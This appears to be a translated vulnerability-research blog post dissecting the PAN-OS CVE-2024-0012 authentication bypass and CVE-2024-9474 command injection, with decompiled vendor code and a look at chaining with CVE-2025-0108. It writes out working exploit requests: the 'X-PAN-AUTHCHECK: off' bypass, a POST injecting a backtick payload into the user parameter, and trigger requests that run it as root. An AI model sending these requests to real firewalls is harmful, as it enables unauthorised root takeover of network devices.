Post

From CVE-2024-0012 to CVE-2024-9474 Analysis and Reflections on Palo Alto

From CVE-2024-0012 to CVE-2024-9474 Analysis and Reflections on Palo Alto

This article was first published on our team’s. Click here to read the Chinese version. https://mp.weixin.qq.com/s/6kuuU0WcrWqI-hw2PSoYmA

Introduction

This paper is a vulnerability analysis review. 2024 saw two serious security vulnerabilities in Palo Alto Networks’ firewall and SSL VPN products: CVE-2024-0012 and CVE-2024-9474. these two vulnerabilities (the authentication bypass vulnerability and the elevation of privilege vulnerability) can be exploited in combination to enable authentication-less remote code execution without authentication. watchtowr provides an excellent analysis of the process from identity bypass to command execution. However, the article fails to go deep enough when the analysis involves the panCreateRemoteAppwebSession function, which leaves one wanting more. Since the author could not fully understand the process of command execution when reproducing the vulnerability, he decided to do it himself instead of asking for help. In this article will watchtowr analysis based on a brief review of the identity bypass problem, and in-depth analysis of the specific implementation of the command execution, combined with the newly discovered authentication bypass vulnerability CVE-2025-0108, to explore the possibility of combining the use of CVE-2025-0108 and CVE-2024-9474.

Vulnerability Analysis

CVE-2024-0012: Authentication Bypass

Based on watchtowr’s analysis, we know that prior to the vulnerability fix, Palo Alto had a security risk when processing requests ending in .js.map: these requests were assumed to be authenticated without setting the X-pan-AuthCheck header. The subsequent fix was to add the X-pan-AuthCheck authentication requirement to proxy_default.conf.

image.png

image.png

All requests via Nginx are forwarded to a locally running Apache server (which listens on port 28250) for subsequent processing.

image.png

image.png

In php.ini you can see that the auto_prepend_file directive is configured, which automatically loads the uiEnvSetup.php file for environment variable checking before executing any PHP scripts.

image.png

In uiEnvSetup.php, the system decides whether to authenticate the current request by checking three conditions:

  1. Request header check: if the value of request header HTTP_X_PAN_AUTHCHECK is not 'off', then authentication is required.
  2. Script path check: if the current script path is not /CA/ocsp or /php/login.php, authentication is required.
  3. Local request check: if the request is not from the local host ( 127.0.0.1 ), authentication is required.

When all the above conditions are met, the system performs authentication. If any of the conditions are not met, the authentication check is skipped.

image.png

Therefore, by adding X-PAN-AUTHCHECK: off to the HTTP request header, an attacker can bypass the authentication check and illegally access PHP resources.

1
2
3
4
GET /php/ztp_gate.php/.js.map  HTTP/1.1
Host: 192.168.32.251
X-PAN-AUTHCHECK: off

image.png

After bypassing the authentication check, the attacker can access critical PHP files. Within these files, the watchtowr team discovered an elevation of privilege vulnerability in the GlobalProtect client, which exists in the panCreateRemoteAppwebSession function. This vulnerability allows an attacker to execute arbitrary commands on the target system, completing the full attack chain from authentication bypass to remote code execution.

CVE-2024-9474: Elevation of Privilege

According to the payload provided by watchtowr, the exploit process for CVE-2024-9474 is very straightforward: an attacker sends a POST request to createRemoteAppwebSession.php, injects a payload into the user parameter, and then triggers a sessionid to execute the payload. After getting the session id, the payload is triggered.

1
2
3
4
5
6
7
POST /php/utils/createRemoteAppwebSession.php/aaaa.js.map HTTP/1.1
Host: 
X-PAN-AUTHCHECK: off
Content-Type: application/x-www-form-urlencoded
Content-Length: 99

user=`payload`&userRole=superuser&remoteHost=&vsys=vsys1

In watchtowr’s analysis, the analysis stops abruptly when it comes to the panCreateRemoteAppwebSession function, and does not go any further in explaining the specific trigger point of CVE-2024-9474. Attackerkb’s description of the vulnerability mentions the following:

image.png

According to Attackerkb’s analysis, when the AuditLog.write function is called, the tampered username value is passed to the pexecute call, which leads to command injection.

image.png

However, when analyzing the process by using pspy, it was found that the actual command executed was not from AuditLog.write, but rather the payload was executed in a sub-process (ppid) of configd. This clearly indicates that the trigger for CVE-2024-9474 is not here, but rather exists in the process associated with configd.

image.png

By executing the command find /usr/local/ -type f ! -path “/cgroup/ “ ! -path “/sys/ “ ! -path “/tmp/ “ ! -path “/cache/ “ ! -path “/logs/ “ -exec grep -l “export panusername=” {} \; Searching for the file containing the command execution feature revealed that the feature exists in the pan_op_ctxt_get_env function in /usr/local/lib64/libpanmp_mp.so.1.0.

1
2
3
[root@PA-VM /]# find /usr/local/ -type f ! -path "*/cgroup/*" ! -path "*/sys/*" ! -path "*/tmp/*" ! -path "*/cache/*" ! -path "*/logs/*" -exec grep -l "export panusername=" {} \;
/usr/local/lib64/libpanmp_mp.so.1.0
[root@PA-VM /]# 

image.png

The pan_mgmtop_handle_script_or_exec function first gets the username from the session via pan_cfg_get_username_by_cookie and saves the payload to the local_88 buffer. It then calls the pan_op_ctxt_get_env function to set up the command execution environment, including configuring environment variables and permissions. After setting up the environment, the system splices the user-supplied command or script parameters directly into the environment command string. Finally, this complete command string is passed to the pan_get_system_cmd_output function for execution and the result is returned.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
		// 获取用户信息
    pan_cfg_get_username_by_cookie(param_10,*(byte **)(lVar8 + 0x58),local_88,0x40);
    iVar2 = pan_cfg_get_adminrole_by_cookie(param_10,*(char **)(lVar8 + 0x58));
    
    // 处理异步模式
    if (param_17 != 0) {
      lVar8 = xmlHasProp(*(undefined8 *)(*(long *)(param_11 + 8) + 0x10),"async-mode");
      if (lVar8 != 0) {
        lVar8 = xmlGetProp(*(undefined8 *)(*(long *)(param_11 + 8) + 0x10),"jobid");
        if (lVar8 != 0) {
          // 如果有jobid,将其导出到环境变量
          pan_string_buffer_appendf(lVar5,"export jobid=\"%s\";",lVar8);
          (*_xmlFree)(lVar8);
        }
      }
    }
    
    uVar10 = (ulong)param_17;
    // 获取命令执行环境
    uVar7 = pan_op_ctxt_get_env(param_12,lVar5,local_88,iVar2,param_17);
    pcVar9 = 
    "<response status=\"error\"><msg><line>Unable to construct operational command</line></msg></response>";
    uVar6 = extraout_XMM0_Qa_03;
    
    if (-1 < (int)uVar7) {
      // 添加用户提供的命令/脚本到缓冲区
      pan_string_buffer_append(lVar5,param_13);
      
      iVar2 = pan_get_system_cmd_output(*(char **)(lVar5 + 8),lVar4,&local_8a);

image.png

pan_get_system_cmd_output triggers the payload by calling pan_get_system_cmd_output_impl and then using execv within the pan_popen_no_stderr method in linpancommon_map.so.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
/**
 * pan_popen_no_stderr - 类似popen函数,执行命令但不处理标准错误输出
 * 创建一个管道并执行指定的命令,允许调用进程读取命令的标准输出
 * @param_1: 要执行的命令路径
 * @param_2: 命令的参数数组
 * @return: 返回指向管道读取端的FILE指针,失败返回NULL
 */
FILE * pan_popen_no_stderr(char *param_1,char **param_2)

{
  int iVar1;               // 存储函数返回值
  __pid_t _Var2;           // 存储子进程PID
  FILE *pFVar3;            // 用于管理子进程的文件结构
  long in_FS_OFFSET;       // 栈保护值
  FILE *local_30;          // 指向管道读取端的FILE指针
  int local_28;            // 管道的读取端文件描述符
  int local_24;            // 管道的写入端文件描述符
  long local_20;           // 栈检查变量
  
  // 栈保护初始化
  local_20 = *(long *)(in_FS_OFFSET + 0x28);
  // 分配一个FILE结构体用于管理子进程
  pFVar3 = (FILE *)malloc(0x18);
  local_30 = pFVar3;
  if (pFVar3 != (FILE *)0x0) {
    // 创建管道
    iVar1 = pipe(&local_28);
    if (iVar1 == 0) {
      // 将管道读取端转换为FILE流
      local_30 = fdopen(local_28,"r");
      if (local_30 == (FILE *)0x0) {
        // 如果转换失败,关闭管道的两端
        close(local_28);
        close(local_24);
      }
      else {
        // 锁定互斥锁避免竞态条件
        pthread_mutex_lock((pthread_mutex_t *)&DAT_009ea140);
        // 创建子进程
        _Var2 = vfork();
        if (_Var2 == 0) {
          // 这是子进程代码
          // 关闭管道读取端
          close(local_28);
          pFVar3 = DAT_009ea120;
          if (local_24 != 1) {
            // 将管道写入端复制到标准输出
            dup2(local_24,1);
            close(local_24);
            pFVar3 = DAT_009ea120;
          }
          // 关闭所有打开的文件描述符
          for (; pFVar3 != (FILE *)0x0; pFVar3 = *(FILE **)pFVar3) {
            iVar1 = fileno((FILE *)pFVar3->_IO_read_ptr);
            close(iVar1);
          }
          // 执行指定的命令 - 这里是执行命令的关键部分
          execv(param_1,param_2);
          // 如果execv返回,表示出错
          _exit(0x7f);
        }
        // 父进程继续执行
        pthread_mutex_unlock((pthread_mutex_t *)&DAT_009ea140);
        // 关闭管道写入端
        close(local_24);
        if (0 < _Var2) {
          // 保存子进程的信息
          *(__pid_t *)&pFVar3->_IO_read_end = _Var2;
          pFVar3->_IO_read_ptr = (char *)local_30;
          pthread_mutex_lock((pthread_mutex_t *)&DAT_009ea140);
          // 将进程添加到进程列表中
          *(FILE **)pFVar3 = DAT_009ea120;
          DAT_009ea120 = pFVar3;
          pthread_mutex_unlock((pthread_mutex_t *)&DAT_009ea140);
          goto LAB_005c4430;
        }
        fclose(local_30);
      }
    }
    free(pFVar3);
    local_30 = (FILE *)0x0;
  }
LAB_005c4430:
  // 栈保护检查
  if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
    __stack_chk_fail();
  }
  return local_30;
}

With the payload’s execution point in mind, let’s go back and look at how the exploit was triggered. We ended up locating the PA’s show chassis-ready command (and some other commands as well), which is used to display the hardware status of the device, including whether the dataplane is ready to handle traffic and whether the running policy is loaded. When this command is executed

The Palo Alto Firewall checks the status of the dataplane configuration by running /usr/local/bin/sdb -n cfgpush.s1.comm.config-exist in parallel through multiple sub-processes and converts the results to yes or no output.

image.png

Subsequently in the PHP code, we found the getDataPlaneStatus method in the htdocs/php/include/Util.php file, which is called on the system by getVariables in htdocs/php/include/ContextVariables.php The method is called by getVariables.php in the system.

image.png

The runOpCommand method is the core function used to execute operation commands in the Palo Alto Networks firewall management interface and is one of the key interfaces for communicating with the PAN-OS XML API. The method takes two parameters: an XML format string containing the operation command to be executed ($operation) and optional additional attribute parameters ($attributes).

During the request construction process, the system calls XmlRequest::op($operation, $attributes) to create a complete XML request. This request is formatted into a specific XML structure and session cookies and other necessary request attributes are added.

When communicating with the Management Server, the request is sent to the PAN-OS Management Server via Backend::getArray(). The underlying implementation uses the MSConnection class to communicate with the local management server over a TCP socket (default port 10000.) MSConnection is responsible for establishing the connection, sending the request header and payload, and receiving and processing the response.

Therefore, we can quickly try to trigger the vulnerability by locating the call to ContextVariables::getVariables().

image.png

For example, the following request could trigger this vulnerability:

1
2
3
4
GET /php/device/export.file.php?type=techsupport HTTP/1.1
Host: 192.168.32.251
cookie: PHPSESSID=9f56ts27jh56hh8pgrl3nhkmkq;

image.png

Similarly, the principle of triggering the vulnerability in index.php is the same - the Page::printDynamicContext() method in index.php calls ContextVariables::getVariables(). We can find more entry points that could trigger the vulnerability by looking for other locations where Page::printDynamicContext() is called.

image.png

For example, the following request could trigger the vulnerability:

1
2
3
4
GET /unauth/php/change_password.php HTTP/1.1
Host: 192.168.32.251
cookie: PHPSESSID=9f56ts27jh56hh8pgrl3nhkmkq;

image.png

Since configd is running with root privileges, when a privilege bypass is performed via low-privilege nginx, the effect of elevation of privilege is achieved after a payload is triggered in configd.

Thought: exploit in combination with CVE-2025-0108?

After CVE-2025-0108 was published, I spent a long time thinking whether it could be exploited in combination with CVE-2024-9474. However, this attempt naturally ended in failure.

image.png

The previous analysis did not describe panCreateRemoteAppwebSession too much, in fact, this function is mainly used to create a session, which is also the key to be able to write payloads.

The definition of panCreateRemoteAppwebSession cannot be found in the PHP source code, the function is actually defined in the panhttpdmodule.so module.

image.png

The function first gets the remote host address (REMOTE_HOST) from which the request was made using the pan_php_SERVER_get_str function, and then checks to see if it is a trusted local loopback address. It verifies that the remote address matches any of the following local loopbacks in turn: “127.0.0.1” (IPv4 local loopback), “::1” (IPv6 short form), or “0:0:0:0:0:0:0:1” (IPv6 full form). If the remote address does not match any of these local loopback addresses, the program performs additional validation logic.

Due to space constraints and the fact that there are many excellent articles analyzing CVE-2025-0108, I will not go into the details here. I won’t go into too much detail here. X-Forwarded-For is set in proxy_default.conf.

When a client request arrives at Nginx, Nginx checks to see if the request contains the X-Forwarded-For header. If the request already contains this header, $proxy_add_x_forwarded_for appends the client’s actual IP address to the existing value in the format: original X-Forwarded-For value, $remote_addr. If the request does not contain the X-Forwarded-For header, the $proxy_add_x_forwarded_for value is appended to the existing value. x_forwarded_for value will be directly equal to $remote_addr (the client’s IP address).

image.png

image.png

However, in a real-world environment, we found that the checking mechanism in the panCreateRemoteAppwebSession function is strictly dependent on the integrity of the X-Forwarded-For header. Even if we were able to achieve authentication bypass via CVE-2025-0108, due to Nginx’s strict header handling and forwarding mechanism, it is difficult to directly manipulate the internal service to think that the request is coming from 127.0.0.1. This makes it still difficult to directly combine the two vulnerabilities for exploitation.

However, in a bulletin about CVE-2025-0108, Palo Alto noted that “Palo Alto Networks discovered that attackers are attempting to chain CVE-2025-0108, CVE-2024-9474, and CVE-2025-0111, targeting unpatched and unprotected PAN-OS Web management interface.”

image.png

There is also a never-before-seen CVE-2025-0111 certified file-reading vulnerability, a file-reading vulnerability that may be the final key to unlocking Pandora’s Box.

Summary

This article provides an in-depth analysis of several important security vulnerabilities in Palo Alto Networks firewall and SSL VPN products. It first explored the CVE-2024-0012 authentication bypass vulnerability, which exists in the authentication mechanism that handles requests ending in .js.map. The CVE-2024-9474 elevation of privilege vulnerability is then analyzed in detail, especially the implementation details of the panCreateRemoteAppwebSession function involved and the vulnerability triggering mechanism.

It was found that the exploit chain can be triggered by commands such as “show chassis-ready”. This process involves the interaction of multiple components, including Nginx, Apache, and the internal management server. The article also explores specific trigger points for the vulnerability, including multiple entry points such as export.file.php and change_password.php.

When attempting to combine the newly discovered CVE-2025-0108 with CVE-2024-9474, it was found to be difficult due to Nginx’s strict header handling mechanism. However, Palo Alto’s latest security bulletin mentions that attackers are attempting to chain CVE-2025-0108, CVE-2024-9474, and CVE-2025-0111, which hints at the possibility of a more complex exploit chain.

Refer to

  • https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/
  • http://php.net/auto-prepend-file
  • https://attackerkb.com/topics/n8GmwEZA1k/cve-2024-9474
  • https://security.paloaltonetworks.com/CVE-2025-0111
  • https://security.paloaltonetworks.com/CVE-2025-0108
  • https://blog.orange.tw/posts/2024-08-confusion-attacks-ch/#%E5%9C%A8%E6%95%85%E4%BA%8B%E4%B9%8B%E5%89%8D
  • https://slcyber.io/blog/nginx-apache-path-confusion-to-auth-bypass-in-pan-os/
  • https://nginx.org/en/docs/http/ngx_http_proxy_module.html
This post is licensed under CC BY 4.0 by the author.